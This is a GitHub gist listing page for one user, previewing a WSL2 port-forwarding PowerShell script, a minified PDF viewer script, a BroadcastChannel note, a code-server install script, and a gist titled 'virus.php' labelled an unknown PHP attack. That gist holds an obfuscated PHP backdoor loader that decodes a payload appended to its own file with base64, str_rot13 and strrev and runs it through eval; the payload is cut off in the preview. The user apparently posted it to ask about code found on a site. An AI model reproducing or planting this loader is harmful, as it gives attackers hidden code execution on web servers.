Skip to content

Instantly share code, notes, and snippets.

@yerdzxc
yerdzxc / wsl2-network.ps1
Created June 14, 2023 18:32 — forked from daehahn/wsl2-network.ps1
WSL 2 TCP NETWORK FORWARDING
# WSL2 network port forwarding script v1
# for enable script, 'Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser' in Powershell,
# for delete exist rules and ports use 'delete' as parameter, for show ports use 'list' as parameter.
# written by Daehyuk Ahn, Aug-1-2020
# Display all portproxy information
If ($Args[0] -eq "list") {
netsh interface portproxy show v4tov4;
exit;
}
@yerdzxc
yerdzxc / virus.php
Last active July 26, 2023 06:51
Unknown php script attack
<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "a6dd51136d51648be936ccd7001d1b99";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>=0UV78zMhyTWt4zp1EKMlOlBcxlWgpPV6NlWHqPV/NFXjNwZjtUZtLPVm1zpyOUWbtPV6NFXtpPraNvBtpPqaNlCtxPZjVQZ4OQVzNlpgWKMjEPXbNlCtxFZjNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtplqaNlCtxvZjNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtpvpaNlCtxPAjNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcxlWgpPV6NlWGqPV/NFXjNQAjtUZtLPVm1zpyOUWbtPV6NFXtpPraNvBtplpaNlCtxPZjDQZ4OQVzNlpgWKMjEPXbNlCtxPBjNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtplqaNlCtxPZkNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtpvpaNlCtxPZlNQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcxlWgpPV6NlWGqPV/NFXjNQBjtUZtLPVm1zpyOUWbtPV6NFXtpPraNvBtplpaNlCtxPZjtQZ4OQVzNlpgWKMjEPXbNlCtxPZ0NQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtplqaNlCtxPZ4NQZ4OQVzNlpgWKMjEPXbNFChNloz5JnxNlBcpFYaNvBtpvpaNlCtxPZjRQZ
@yerdzxc
yerdzxc / pdf-viewer.js
Last active July 26, 2023 06:48
Unknown javscript script
!function(){var e={876(){!function(){"use strict";if("file:"!==location.protocol){var e,t,n,o,i,l,r,a,s,c,u,d,f,g,h,p,m,b,v,$,y,T=(o={},i=[],l=[],r=function(o){var i=document.getElementById("page"+o),r=document.createElement("div");r.className="page-inner",r.setAttribute("style","position: absolute; pointer-events: none;"),r.style.width=i.style.width,r.style.height=i.style.height,i.appendChild(r),l[o]=r;for(var a=0;a<e.length;a++)if(e[a].page===o)for(var s=e[a].annotations,c=0;c<s.length;c++)n(r,s[c],t)},IDRViewer.on("ready",function(n){t=n;var o=n.url||"",l=new XMLHttpRequest;l.open("GET",o+"annotations.json",!0),l.onload=function(){l.status>=200&&l.status<400&&(e=JSON.parse(l.responseText).pages,function(){if(i.length){for(var e=0;e<i.length;e++)r(i[e]);i=[]}}())},l.send()}),IDRViewer.on("pageload",function(t){e?r(t.page):i.push(t.page)}),IDRViewer.on("pageunload",function(e){l[e.page]&&(l[e.page].parentNode.removeChild(l[e.page]),l[e.page]=null)}),o.setLoadFunction=function(e){n=e},o),_=(s={click:[],mouseo
@yerdzxc
yerdzxc / broadcast-channel.md
Created November 26, 2023 07:16 — forked from davestewart/broadcast-channel.md
Example of using BroadcastChannel to communicate with pages in the same domain

screenshot

@yerdzxc
yerdzxc / code-server-automate.sh
Last active December 8, 2023 16:42
if the official one isn't working
#!/bin/bash
if [[ $(arch) == "x86_64" ]]; then
arch="amd64"
fi
# Get the latest release URL
url=$(curl -I https://github.com/coder/code-server/releases/latest | awk -F '/' '/^location/ {print substr($NF, 1, length($NF)-1)}')
# Get the release tag from the URL